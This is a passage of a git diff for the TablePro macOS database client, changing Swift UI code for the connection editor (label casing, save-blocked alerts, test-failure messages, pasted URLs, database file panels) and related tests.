.cloudflareAutomaticPort: - TransportToggle(String(localized: "Choose port automatically"), isOn: store.binding(\.cloudflare.automaticPort), row: editorRow, store: store) + TransportToggle(String(localized: "Choose Port Automatically"), isOn: store.binding(\.cloudflare.automaticPort), row: editorRow, store: store) case .cloudflareLocalPort: - EditorTextRow(String(localized: "Local port"), text: store.binding(\.cloudflare.localPort), prompt: "5432", row: editorRow, store: store) + EditorTextRow(String(localized: "Local Port"), text: store.binding(\.cloudflare.localPort), prompt: "5432", row: editorRow, store: store) case .cloudflareExposeToLAN: - TransportToggle(String(localized: "Expose to local network"), isOn: store.binding(\.cloudflare.exposeToLAN), row: editorRow, store: store) + TransportToggle(String(localized: "Expose to Local Network"), isOn: store.binding(\.cloudflare.exposeToLAN), row: editorRow, store: store) case .cloudflareBinary: TransportBinaryRow( path: store.binding(\.cloudflare.binaryPath), @@ -87,7 +94,7 @@ struct TransportCloudSQLRow: View { switch row { case .cloudSQLInstance: EditorTextRow( - String(localized: "Instance connection name"), + String(localized: "Instance Connection Name"), text: store.binding(\.cloudSQLProxy.instanceConnectionName), prompt: "project:region:instance", row: editorRow, @@ -108,22 +115,22 @@ struct TransportCloudSQLRow: View { ) case .cloudSQLIAMAuth: TransportToggle( - String(localized: "Use IAM database authentication"), + String(localized: "Use IAM Database Authentication"), isOn: store.binding(\.cloudSQLProxy.useIAMAuth), row: editorRow, store: store ) case .cloudSQLPrivateIP: - TransportToggle(String(localized: "Connect over private IP"), isOn: store.binding(\.cloudSQLProxy.usePrivateIP), row: editorRow, store: store) + TransportToggle(String(localized: "Connect over Private IP"), isOn: store.binding(\.cloudSQLProxy.usePrivateIP), row: editorRow, store: store) case .cloudSQLAutomaticPort: TransportToggle( - String(localized: "Choose port automatically"), + String(localized: "Choose Port Automatically"), isOn: store.binding(\.cloudSQLProxy.automaticPort), row: editorRow, store: store ) case .cloudSQLLocalPort: - EditorTextRow(String(localized: "Local port"), text: store.binding(\.cloudSQLProxy.localPort), prompt: "5432", row: editorRow, store: store) + EditorTextRow(String(localized: "Local Port"), text: store.binding(\.cloudSQLProxy.localPort), prompt: "5432", row: editorRow, store: store) case .cloudSQLBinary: TransportBinaryRow( path: store.binding(\.cloudSQLProxy.binaryPath), @@ -278,7 +285,6 @@ struct TransportBinaryRow: View { } } -// Open panels for this facet's paths, as sheets on the editor window. @MainActor enum TransportFilePanel { static func chooseSSHKey(message: String, store: ConnectionEditorStore) async -> String? { diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCloseGuard.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCloseGuard.swift index a3d462f5bd..a3ba81dd08 100644 --- a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCloseGuard.swift +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCloseGuard.swift @@ -19,28 +19,39 @@ enum ConnectionEditorCloseGuard { } // A record deleted elsewhere cannot be saved, so there is nothing to ask. - static func verdict(hasUnsavedChanges: Bool, isRecordMissing: Bool, connectionName: String) -> Verdict { + static func verdict( + hasUnsavedChanges: Bool, + isRecordMissing: Bool, + connectionName: String, + blockingIssue: String? = nil + ) -> Verdict { guard hasUnsavedChanges, !isRecordMissing else { return .close } - return .askToSave(ConnectionEditorSavePrompt(connectionName: connectionName)) + return .askToSave(ConnectionEditorSavePrompt(connectionName: connectionName, blockingIssue: blockingIssue)) } - // The order of `makeAlert`: Save, Cancel, Don't Save. - static func choice(for response: NSApplication.ModalResponse) -> Choice { - switch response { - case .alertFirstButtonReturn: return .save - case .alertThirdButtonReturn: return .dontSave + // The order of `makeAlert`: Save, Cancel, Don't Save; or Cancel, Don't Save when Save is blocked. + static func choice(for response: NSApplication.ModalResponse, canSave: Bool = true) -> Choice { + switch (response, canSave) { + case (.alertFirstButtonReturn, true): return .save + case (.alertThirdButtonReturn, true), (.alertSecondButtonReturn, false): return .dontSave default: return .cancel } } + // An alert offers no button that cannot do what it says: with Save blocked it names why and offers Don't Save + // and Cancel, and Return picks neither, since the only other answer discards. @MainActor static func makeAlert(_ prompt: ConnectionEditorSavePrompt) -> NSAlert { let alert = NSAlert() alert.messageText = prompt.title alert.informativeText = prompt.message alert.alertStyle = .warning - alert.addButton(withTitle: String(localized: "Save")) - AlertHelper.addCancelButton(to: alert, title: String(localized: "Cancel")) + if prompt.canSave { + alert.addButton(withTitle: String(localized: "Save")) + AlertHelper.addCancelButton(to: alert, title: String(localized: "Cancel")) + } else { + AlertHelper.addCancelButton(to: alert, title: String(localized: "Cancel")) + } let dontSave = alert.addButton(withTitle: String(localized: "Don't Save")) dontSave.hasDestructiveAction = true dontSave.keyEquivalent = "d" @@ -51,13 +62,21 @@ enum ConnectionEditorCloseGuard { struct ConnectionEditorSavePrompt: Equatable { let connectionName: String + var blockingIssue: String? + + var canSave: Bool { blockingIssue == nil } var title: String { - String(format: String(localized: "Do you want to save the changes to “%@”?"), connectionName) + guard canSave else { + return String(format: String(localized: "The changes to “%@” can't be saved yet."), connectionName) + } + return String(format: String(localized: "Do you want to save the changes to “%@”?"), connectionName) } var message: String { - String(localized: "Your changes will be lost if you don't save them.") + let consequence = String(localized: "Your changes will be lost if you don't save them.") + guard let blockingIssue else { return consequence } + return "\(blockingIssue)\n\n\(consequence)" } } diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCommitBar.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCommitBar.swift index 703cf1e715..a91b4dd76e 100644 --- a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCommitBar.swift +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCommitBar.swift @@ -3,6 +3,7 @@ // TablePro // +import AppKit import SwiftUI // What the bar's buttons ask the window for: each ends editing first, so a half-typed value counts. @@ -33,12 +34,14 @@ struct ConnectionEditorCommitBar: View { .modifier(ConnectionEditorPresentations(store: store)) } + // The Spacer keeps both groups on their edges when there is no status to show. private var bar: some View { HStack(spacing: 12) { moreMenu testButton ConnectionEditorCommitStatus(store: store) - .frame(maxWidth: .infinity, alignment: .leading) + .layoutPriority(-1) + Spacer(minLength: 0) Button(String(localized: "Cancel"), action: actions.cancel) .keyboardShortcut(.cancelAction) .fixedSize() @@ -57,14 +60,24 @@ struct ConnectionEditorCommitBar: View { } .padding(.horizontal, 20) .padding(.vertical, 12) + .frame(maxWidth: .infinity) } private var moreMenu: some View { Menu { - Button(String(localized: "Copy as URL"), action: actions.copyURL) + Button(action: actions.copyURL) { + Label(String(localized: "Copy as URL"), systemImage: "link") + } if store.canDelete { Divider() - Button(String(localized: "Delete…"), role: .destructive, action: actions.delete) + Button(role: .destructive, action: actions.delete) { + Label { + Text(String(localized: "Delete…")) + } icon: { + Image(nsImage: Self.destructiveSymbol) + } + } + .accessibilityIdentifier("connection-form-delete") } } label: { Label(String(localized: "More"), systemImage: "ellipsis.circle") @@ -79,6 +92,14 @@ struct ConnectionEditorCommitBar: View { .accessibilityIdentifier("connection-form-more") } + // A menu item draws a template image in its own text colour, so the red is baked into a non-template copy. + private static var destructiveSymbol: NSImage { + let image = NSImage(systemSymbolName: "trash", accessibilityDescription: nil)? + .withSymbolConfiguration(NSImage.SymbolConfiguration(paletteColors: [.systemRed])) ?? NSImage() + image.isTemplate = false + return image + } + private var testButton: some View { Button(store.isTesting ? String(localized: "Cancel Test") : String(localized: "Test Connection"), action: actions.test) .disabled(!store.isTesting && !store.canTest) @@ -157,9 +178,9 @@ struct ConnectionEditorCommitStatus: View { .accessibilityIdentifier("connection-form-test-status") ConnectionTestDetailsButton { ConnectionTestDetails( - title: failure.step.title, + title: failure.summary, message: failure.message, - recoverySuggestion: failure.recoverySuggestion, + recoverySuggestion: failure.suggestion, recoveryTitle: failure.recoveryAction?.title, recover: { store.performTestRecovery() } ) @@ -188,7 +209,8 @@ private struct ConnectionTestDetailsButton: View { } } -// Read only: what failed, the server's own words, and the one fix TablePro can start. +// Read only: what failed, the server's own words, what to check, and the one fix TablePro can start. Opaque, so the +// form under the popover never shows through the server's text. private struct ConnectionTestDetails: View { let title: String let message: String @@ -199,14 +221,20 @@ private struct ConnectionTestDetails: View { @Environment(\.dismiss) private var dismiss var body: some View { - VStack(alignment: .leading, spacing: 8) { + VStack(alignment: .leading, spacing: 10) { Text(title) .font(.headline) - Text(message) - .textSelection(.enabled) .fixedSize(horizontal: false, vertical: true) + if isLong { + ScrollView { + messageText + } + .frame(height: 160) + } else { + messageText + } if let recoverySuggestion, !recoverySuggestion.isEmpty { - Text(recoverySuggestion) + Text(verbatim: recoverySuggestion) .foregroundStyle(.secondary) .fixedSize(horizontal: false, vertical: true) } @@ -215,10 +243,24 @@ private struct ConnectionTestDetails: View { dismiss() recover() } - .padding(.top, 4) + .padding(.top, 2) } } .padding(16) - .frame(width: 340, alignment: .leading) + .frame(width: 360, alignment: .leading) + .background(Color(nsColor: .windowBackgroundColor)) + } + + // A popover sizes to its content, so text past about eight lines scrolls inside a fixed height instead. + private var isLong: Bool { + message.count > 480 || message.split(separator: "\n", omittingEmptySubsequences: false).count > 8 + } + + private var messageText: some View { + Text(verbatim: message) + .textSelection(.enabled) + .fixedSize(horizontal: false, vertical: true) + .frame(maxWidth: .infinity, alignment: .leading) + .accessibilityIdentifier("connection-form-test-message") } } diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorPresentations.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorPresentations.swift index 2b25966673..a885ddcc79 100644 --- a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorPresentations.swift +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorPresentations.swift @@ -13,6 +13,7 @@ struct ConnectionEditorPresentations: ViewModifier { content .sheet(isPresented: $store.isChoosingType) { DatabaseTypeChooserSheet( + purpose: .changeType, initialType: store.draft.type, onSelected: { choose($0) }, onCancel: { store.isChoosingType = false } diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowController.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowController.swift index a2bddd6bb1..070be8d55a 100644 --- a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowController.swift +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowController.swift @@ -226,7 +226,8 @@ final class ConnectionEditorWindowController: NSWindowController, NSWindowDelega ConnectionEditorCloseGuard.verdict( hasUnsavedChanges: store.hasUnsavedChanges, isRecordMissing: store.isRecordMissing, - connectionName: store.windowTitle + connectionName: store.windowTitle, + blockingIssue: store.canSave ? nil : store.firstBlockingIssue?.message ) } @@ -257,14 +258,20 @@ final class ConnectionEditorWindowController: NSWindowController, NSWindowDelega case .dontSave: close() case .cancel: - break + revealWhatBlocksSave() } } + // Staying after the alert said Save is blocked means fixing it, so the editor goes to the issue. + private func revealWhatBlocksSave() { + guard !store.canSave, let issue = store.firstBlockingIssue else { return } + store.reveal(issue) + } + private func askToSave(_ prompt: ConnectionEditorSavePrompt) { guard let window, window.attachedSheet == nil else { return } AlertHelper.present(ConnectionEditorCloseGuard.makeAlert(prompt), in: window) { [weak self] response in - self?.resolveClose(ConnectionEditorCloseGuard.choice(for: response)) + self?.resolveClose(ConnectionEditorCloseGuard.choice(for: response, canSave: prompt.canSave)) } } @@ -353,6 +360,7 @@ final class ConnectionEditorWindowController: NSWindowController, NSWindowDelega case .dontSave: return true case .cancel: + revealWhatBlocksSave() return false } } @@ -360,7 +368,8 @@ final class ConnectionEditorWindowController: NSWindowController, NSWindowDelega func askToSaveModally(_ prompt: ConnectionEditorSavePrompt) -> ConnectionEditorCloseGuard.Choice { // A quit can come from outside the app, and a background process has no Dock icon to reach the alert by. AppActivationPolicyController.shared.activate(ignoringOtherApps: true) - return ConnectionEditorCloseGuard.choice(for: ConnectionEditorCloseGuard.makeAlert(prompt).runModal()) + let response = ConnectionEditorCloseGuard.makeAlert(prompt).runModal() + return ConnectionEditorCloseGuard.choice(for: response, canSave: prompt.canSave) } // File > Save, Cmd+S: saves without connecting, also for a new connection. diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+SSHAndProxies.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+SSHAndProxies.swift index 64821798e7..f7951c5acb 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+SSHAndProxies.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+SSHAndProxies.swift @@ -5,6 +5,12 @@ import Foundation import TableProPluginKit +import TableProSSHConfig + +enum JumpHostField: Hashable { + case host + case keyFile +} extension ConnectionEditorStore { // An SSH tunnel forwards one endpoint, so a host list in General reaches its first host only. @@ -14,6 +20,19 @@ extension ConnectionEditorStore { let hosts = draft.fieldValues[field.id] ?? field.defaultValue ?? "" return TunnelHostListAdvice.message(fieldId: field.id, hosts: hosts) } + + // A file database offers only where the file lives, so the picker reads as a location, not a transport. + var transportIsLocationChoice: Bool { + traits.supportsRemoteDatabaseFile && availableTransports.allSatisfy { $0 == nil || $0 == .remoteFile } + } + + // The engine flags a whole hop; this is the field it still lacks, in the order SSHJumpHost.isValid checks. + func missingJumpHostField(_ id: UUID) -> JumpHostField? { + guard let hop = draft.ssh.jumpHosts.first(where: { $0.id == id }) else { return nil } + if hop.host.isEmpty { return .host } + if hop.authMethod == .privateKey, hop.privateKeyPath.isEmpty { return .keyFile } + return nil + } } // Ported from the old Network pane with its wording; the ids are the plugins' host list fields. diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift index 11cbc64380..7c035202ff 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift @@ -42,13 +42,29 @@ enum ConnectionTestFailureStep: Equatable { case network case other - var title: String { + var headline: String { switch self { - case .tunnel(let kind): return kind.displayName - case .tls: return String(localized: "TLS") - case .authentication: return String(localized: "Authentication") - case .network: return String(localized: "Network") - case .other: return String(localized: "Connection") + case .tunnel(let kind): return String(format: String(localized: "%@ failed"), kind.displayName) + case .tls: return String(localized: "TLS handshake failed") + case .authentication: return String(localized: "Sign-in failed") + case .network: return String(localized: "Server not reachable") + case .other: return String(localized: "Connection failed") + } + } + + // What to check when the error itself offers nothing. + var suggestion: String? { + switch self { + case .tunnel: + return String(localized: "Check the settings in SSH & Proxies.") + case .tls: + return String(localized: "Check the SSL mode and certificates in SSL/TLS.") + case .authentication: + return String(localized: "Check the username and password.") + case .network: + return String(localized: "Check the host and port, and that the server is running and reachable from this Mac.") + case .other: + return nil } } } @@ -60,8 +76,11 @@ struct ConnectionTestFailure: Equatable { let recoveryAction: ConnectionRecoveryAction? let testedConnection: DatabaseConnection? - var summary: String { - String(format: String(localized: "%@ failed"), step.title) + var summary: String { step.headline } + + var suggestion: String? { + if let recoverySuggestion, !recoverySuggestion.isEmpty { return recoverySuggestion } + return step.suggestion } } @@ -265,7 +284,7 @@ extension ConnectionEditorStore { let info = ConnectionFailureClassifier.info(for: error) return ConnectionTestFailure( step: step, - message: [info.message, info.failureReason].compactMap { $0 }.joined(separator: "\n\n"), + message: readable([info.message, info.failureReason].compactMap { $0 }.joined(separator: "\n\n")), recoverySuggestion: info.recoverySuggestion, recoveryAction: action, testedConnection: connection @@ -273,13 +292,30 @@ extension ConnectionEditorStore { } return ConnectionTestFailure( step: step, - message: SSLHandshakeError.formatted(error), + message: readable(SSLHandshakeError.formatted(error)), recoverySuggestion: nil, recoveryAction: nil, testedConnection: connection ) } + // Drivers indent continuation lines with tabs (libpq's "\tIs the server running…"), which a popover shows as gaps. + static func readable(_ message: String) -> String { + message + .split(separator: "\n", omittingEmptySubsequences: false) + .map { $0.trimmingCharacters(in: .whitespaces) } + .joined(separator: "\n") + .trimmingCharacters(in: .whitespacesAndNewlines) + } + + // Drivers report an unreachable server as their own error type, so the wording is all there is to go on. + private static let unreachablePhrases = [ + "could not translate host name", "nodename nor servname", "name or service not known", + "unknown mysql server host", "connection refused", "no route to host", "network is unreachable", + "host is down", "could not connect to server", "can't connect to", "connection timed out", + "operation timed out", "timeout expired", + ] + static func failureStep(for error: Error, transport: ConnectionTunnelKind?) -> ConnectionTestFailureStep { switch error { case is SSHTunnelError: @@ -308,6 +344,10 @@ extension ConnectionEditorStore { if domain == NSPOSIXErrorDomain || domain == NSURLErrorDomain { return .network } + let message = error.localizedDescription.lowercased() + if unreachablePhrases.contains(where: { message.contains($0) }) { + return .network + } return .other } diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+URL.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+URL.swift index 3303e3fa93..9847b19949 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+URL.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+URL.swift @@ -10,6 +10,7 @@ import TableProConnectionLibrary struct PastedURLNotice: Equatable, Identifiable { let id = UUID() let changes: [String] + var sourceText = "" var message: String { guard !changes.isEmpty else { return String(localized: "The URL matches this connection.") } @@ -38,6 +39,11 @@ extension ConnectionEditorStore { func setHost(_ text: String, undoManager: UndoManager?) { let restoring = undoManager?.isUndoing == true || undoManager?.isRedoing == true if !restoring, let url = Self.pastedURL(replacing: draft.host, with: text) { + // The field still shows the pasted URL and hands it back; applying it again would find nothing changed. + if pastedURLNotice?.sourceText == url || pendingPastedURL != nil { + objectWillChange.send() + return + } if case .notAURL = applyPastedURL(url, undoManager: undoManager) { update { $0.host = text } } @@ -56,6 +62,7 @@ extension ConnectionEditorStore { return .notAURL } let snapshot = draft + let source = text.trimmingCharacters(in: .whitespacesAndNewlines) if parsed.type != draft.type { let proposal = proposeRetype(to: parsed.type) if !isNew, proposal.needsConfirmation { @@ -63,13 +70,18 @@ extension ConnectionEditorStore { pendingRetype = proposal return .needsRetypeConfirmation(proposal) } - return .applied(applyPasted(parsed, snapshot: snapshot, retypeTo: parsed.type)) + return .applied(applyPasted(parsed, snapshot: snapshot, retypeTo: parsed.type, sourceText: source)) } - return .applied(applyPasted(parsed, snapshot: snapshot, retypeTo: nil)) + return .applied(applyPasted(parsed, snapshot: snapshot, retypeTo: nil, sourceText: source)) } @discardableResult - func applyPasted(_ parsed: ParsedConnectionURL, snapshot: ConnectionDraft, retypeTo type: DatabaseType?) -> PastedURLNotice { + func applyPasted( + _ parsed: ParsedConnectionURL, + snapshot: ConnectionDraft, + retypeTo type: DatabaseType?, + sourceText: String = "" + ) -> PastedURLNotice { isApplyingPaste = true defer { isApplyingPaste = false } if let type { @@ -78,7 +90,10 @@ extension ConnectionEditorStore { var next = draft next.apply(parsed, traits: traits, policy: isNew ? .newConnection : .existingConnection, safeModeFloor: safeModeFloor) commit(next) - let notice = PastedURLNotice(changes: ConnectionDraft.changedValues(from: snapshot, to: draft, traits: traits)) + let notice = PastedURLNotice( + changes: ConnectionDraft.changedValues(from: snapshot, to: draft, traits: traits), + sourceText: sourceText + ) pastedURLSnapshot = snapshot pastedURLNotice = notice registerPasteUndo(restoring: snapshot) diff --git a/apple/TablePro/Views/ConnectionForm/Support/DatabaseFilePanel.swift b/apple/TablePro/Views/ConnectionForm/Support/DatabaseFilePanel.swift index 1951adafd3..7459e5803f 100644 --- a/apple/TablePro/Views/ConnectionForm/Support/DatabaseFilePanel.swift +++ b/apple/TablePro/Views/ConnectionForm/Support/DatabaseFilePanel.swift @@ -6,13 +6,9 @@ import AppKit import UniformTypeIdentifiers -/// The two panels behind a database file field: Browse… picks a file that exists, New… names one -/// that does not. -/// -/// An open panel has no name field, so it cannot reach a file that is not there yet. A driver that -/// creates its file on connect needs the save panel too, and the save panel only records the path: -/// the file is made by the driver at connect, so confirming Replace on an existing database leaves -/// it as it was. +// Choose… picks a file that exists, New… names one that does not. An open panel has no name field, so a driver +// that creates its file on connect needs the save panel too; it only records the path, so confirming Replace on an +// existing database leaves it as it was. @MainActor internal enum DatabaseFilePanel { internal static func chooseExisting( @@ -44,12 +40,10 @@ internal enum DatabaseFilePanel { panel.allowedContentTypes = DatabaseFileTypes.contentTypes(forExtensions: extensions) panel.allowsOtherFileTypes = false panel.canCreateDirectories = true - /// Tags are applied by whoever writes the file, and nothing writes it until the driver - /// connects, so tags typed here would be dropped. + // Nothing writes the file until the driver connects, so tags typed here would be dropped. panel.showsTagField = false panel.prompt = String(localized: "Create") - /// The system's Replace alert says the file will be overwritten, and it will not be: the path is - /// only recorded, so the message says what happens before the alert can say otherwise. + // The system's Replace alert says the file will be overwritten, and it will not be. panel.message = String( localized: "Choose a name and location for the new database. TablePro creates it when you connect, and opens a file that already exists as it is." ) @@ -68,12 +62,11 @@ internal enum DatabaseFilePanel { } } -/// Which items Browse… lets someone choose for a database file field. -/// -/// Matched by extension first, which settles most of a folder without reading anything, then by the -/// file's own bytes when they are on this Mac, so a SQLite database saved with no extension or under -/// another app's (a browser's `History`, a `.gpkg`) can still be picked. A type that declares no -/// extensions keeps every file, because there is nothing to match against. +// Which items Choose… lets someone pick for a database file field: by extension first, which settles most of a +// folder without reading anything, then by the file's own bytes when they are already on this Mac, so a SQLite +// database with no extension or another app's (a browser's `History`, a `.gpkg`) can still be picked. A type that +// declares no extensions keeps every file. A plain folder stays enabled so the panel can be navigated; a package is +// a file to the user and is matched like one. internal struct DatabaseFileBrowseRule: Sendable { private let type: DatabaseType private let extensions: Set @@ -82,41 +75,37 @@ internal struct DatabaseFileBrowseRule: Sendable { internal init( type: DatabaseType, extensions: [String], - classify: @escaping @Sendable (URL) -> DatabaseType? = DatabaseFileBrowseRule.classifyIfQuick + classify: @escaping @Sendable (URL) -> DatabaseType? = { DatabaseFileClassifier.classify($0, access: .withoutWaiting) } ) { self.type = type self.extensions = Set(extensions.map(Self.normalized).filter { !$0.isEmpty }) self.classify = classify } - /// A plain folder stays enabled so the panel can be navigated. A package is a file to the user, - /// so it is matched like one. internal func isEnabled(_ url: URL) -> Bool { - let values = try? url.resourceValues(forKeys: [.isDirectoryKey, .isPackageKey]) + let values = try? url.resourceValues(forKeys: [.isDirectoryKey, .isPackageKey, .fileResourceTypeKey]) if values?.isDirectory == true, values?.isPackage != true { return true } + if let kind = values?.fileResourceType, Self.blockingKinds.contains(kind) { return false } guard !extensions.isEmpty else { return true } if extensions.contains(Self.normalized(url.pathExtension)) { return true } return classify(url) == type } - internal static func classifyIfQuick(_ url: URL) -> DatabaseType? { - guard PanelEnableFilter.isQuickToRead(url) else { return nil } - return DatabaseFileClassifier.classify(url) - } + // A driver opening one of these waits forever, whatever its name says. + private static let blockingKinds: Set = [.namedPipe, .socket, .characterSpecial, .blockSpecial] private static func normalized(_ fileExtension: String) -> String { fileExtension.trimmingCharacters(in: CharacterSet(charactersIn: ". ")).lowercased() } } -/// What the path already in a database file field says about where a panel should open. +// What the path already in a database file field says about where a panel should open. internal struct DatabaseFileLocation { private let fileURL: URL? private let isFolder: Bool private let fileManager: FileManager - /// Only an absolute path, after `~` is expanded, names a place. A relative one would resolve - /// against the app's working directory, which the user never chose. + // Only an absolute path names a place: a relative one would resolve against the app's working directory. internal init(path: String, fileManager: FileManager = .default) { let trimmed = path.trimmingCharacters(in: .whitespacesAndNewlines) let expanded = (trimmed as NSString).expandingTildeInPath @@ -128,7 +117,6 @@ internal struct DatabaseFileLocation { self.fileManager = fileManager } - /// The folder the path names, or the one holding the file it names. internal var existingFolder: URL? { guard let fileURL else { return nil } if isFolder { return fileURL } @@ -140,8 +128,7 @@ internal struct DatabaseFileLocation { return folder } - /// The name already typed, when nothing exists there yet, so New… confirms what the field says. - /// Otherwise "Untitled", which is what a new document is called until someone names it. + // The name already typed when nothing exists there yet, so New… confirms what the field says; else "Untitled". internal func suggestedNewFileName(preferredExtension: String?) -> String { if let fileURL, !isFolder, existingFolder != nil, !fileManager.fileExists(atPath: fileURL.path) { return fileURL.lastPathComponent diff --git a/apple/TablePro/Views/Shared/FieldEditors/TextValueEditor.swift b/apple/TablePro/Views/Shared/FieldEditors/TextValueEditor.swift index 5a3997dd4c..fb50aa652a 100644 --- a/apple/TablePro/Views/Shared/FieldEditors/TextValueEditor.swift +++ b/apple/TablePro/Views/Shared/FieldEditors/TextValueEditor.swift @@ -22,6 +22,7 @@ internal struct TextValueEditor: NSViewRepresentable { var textContainerInset = NSSize(width: 4, height: 6) var style: Style = .plain var marksInvisibleCharacters = false + var drawsBackground = true // A new one is another document: the view shows it from the top, with no undo left from the one before. var documentID: AnyHashable? @@ -104,6 +105,12 @@ internal struct TextValueEditor: NSViewRepresentable { if scrollView.borderType != borderType { scrollView.borderType = borderType } + if scrollView.drawsBackground != drawsBackground { + scrollView.drawsBackground = drawsBackground + } + if textView.drawsBackground != drawsBackground { + textView.drawsBackground = drawsBackground + } if textView.font != font { textView.font = font } diff --git a/apple/TableProTests/Core/Database/ConnectionWarningTests.swift b/apple/TableProTests/Core/Database/ConnectionWarningTests.swift index 35cfa1654a..dc2159baff 100644 --- a/apple/TableProTests/Core/Database/ConnectionWarningTests.swift +++ b/apple/TableProTests/Core/Database/ConnectionWarningTests.swift @@ -98,6 +98,19 @@ struct ConnectionWarningTests { #expect(result == ConnectionTestResult(succeeded: true, warning: Self.warning)) } + // A driver forgets its server's version when Test Connection disconnects it, before the result is read. + @Test("Test Connection reports the server version the login saw") + func testConnectionReturnsTheServerVersion() async throws { + FakeMSSQLPluginRegistration.registerIfNeeded() + let connection = TestFixtures.makeConnection(name: "Versioned test", type: .mssql) + FakeMSSQLPlugin.reportServerVersion(for: connection.id, version: "16.0.1000") + defer { FakeMSSQLPlugin.clearServerVersion(for: connection.id) } + + let result = try await DatabaseManager.shared.testConnection(connection) + + #expect(result == ConnectionTestResult(succeeded: true, serverVersion: "16.0.1000")) + } + @Test("A dismissed warning is a change windows hear about") func warningIsPartOfTheSessionContent() { let connection = TestFixtures.makeConnection() diff --git a/apple/TableProTests/Helpers/FakeMSSQLPlugin.swift b/apple/TableProTests/Helpers/FakeMSSQLPlugin.swift index a21c207a64..094e768577 100644 --- a/apple/TableProTests/Helpers/FakeMSSQLPlugin.swift +++ b/apple/TableProTests/Helpers/FakeMSSQLPlugin.swift @@ -80,6 +80,7 @@ final class FakeMSSQLPlugin: NSObject, TableProPlugin, DriverPlugin { private static let connectFailures = OSAllocatedUnfairLock<[String: ConnectFailure]>(initialState: [:]) private static let connectHolds = OSAllocatedUnfairLock<[String: FakeMSSQLConnectHold]>(initialState: [:]) private static let connectWarnings = OSAllocatedUnfairLock<[String: String]>(initialState: [:]) + private static let serverVersions = OSAllocatedUnfairLock<[String: String]>(initialState: [:]) private static let createdDriverConfigurations = OSAllocatedUnfairLock<[String: [CreatedDriverConfiguration]]>( initialState: [:] ) @@ -101,6 +102,15 @@ final class FakeMSSQLPlugin: NSObject, TableProPlugin, DriverPlugin { _ = connectWarnings.withLock { $0.removeValue(forKey: connectionId.uuidString) } } + // Reported while connected and forgotten on disconnect, as libpq's driver does. + static func reportServerVersion(for connectionId: UUID, version: String) { + serverVersions.withLock { $0[connectionId.uuidString] = version } + } + + static func clearServerVersion(for connectionId: UUID) { + _ = serverVersions.withLock { $0.removeValue(forKey: connectionId.uuidString) } + } + static func holdConnect(for connectionId: UUID) -> FakeMSSQLConnectHold { let hold = FakeMSSQLConnectHold() connectHolds.withLock { $0[connectionId.uuidString] = hold } @@ -136,8 +146,9 @@ final class FakeMSSQLPlugin: NSObject, TableProPlugin, DriverPlugin { $0[connectionId]?.append(createdConfiguration) } let connectWarning = Self.connectWarnings.withLock { $0[connectionId] } + let serverVersion = Self.serverVersions.withLock { $0[connectionId] } guard let failure = Self.connectFailures.withLock({ $0[connectionId] }) else { - return FakeMSSQLPluginDriver(connectHold: connectHold, connectWarning: connectWarning) + return FakeMSSQLPluginDriver(connectHold: connectHold, connectWarning: connectWarning, serverVersion: serverVersion) } return FakeMSSQLPluginDriver( connectFailure: failure.error, @@ -166,19 +177,24 @@ final class FakeMSSQLPluginDriver: PluginDriverStub, @unchecked Sendable { private let connectWarning: String? private let queryTimeoutValues = OSAllocatedUnfairLock<[Int]>(initialState: []) private let reportedWarning = OSAllocatedUnfairLock(initialState: nil) + private let signInServerVersion: String? + private let connectedServerVersion = OSAllocatedUnfairLock(initialState: nil) var connectionWarning: String? { reportedWarning.withLock { $0 } } + var serverVersion: String? { connectedServerVersion.withLock { $0 } } init( connectFailure: (any Error & Sendable)? = nil, connectDelay: Duration = .zero, connectHold: FakeMSSQLConnectHold? = nil, - connectWarning: String? = nil + connectWarning: String? = nil, + serverVersion: String? = nil ) { self.connectFailure = connectFailure self.connectDelay = connectDelay self.connectHold = connectHold self.connectWarning = connectWarning + self.signInServerVersion = serverVersion } func connect() async throws { @@ -190,8 +206,12 @@ final class FakeMSSQLPluginDriver: PluginDriverStub, @unchecked Sendable { } if let connectFailure { throw connectFailure } reportedWarning.withLock { $0 = connectWarning } + connectedServerVersion.withLock { $0 = signInServerVersion } + } + func disconnect() { + disconnectCallCount += 1 + connectedServerVersion.withLock { $0 = nil } } - func disconnect() { disconnectCallCount += 1 } // SQL Server moves a live session with USE, so a statement pinned to a database after a reconnect lands. func switchDatabase(to database: String) async throws {} diff --git a/apple/TableProTests/ViewModels/ConnectionTimeoutSettingsTests.swift b/apple/TableProTests/ViewModels/ConnectionTimeoutSettingsTests.swift index 00d2dcd48b..5851747026 100644 --- a/apple/TableProTests/ViewModels/ConnectionTimeoutSettingsTests.swift +++ b/apple/TableProTests/ViewModels/ConnectionTimeoutSettingsTests.swift @@ -110,6 +110,11 @@ struct 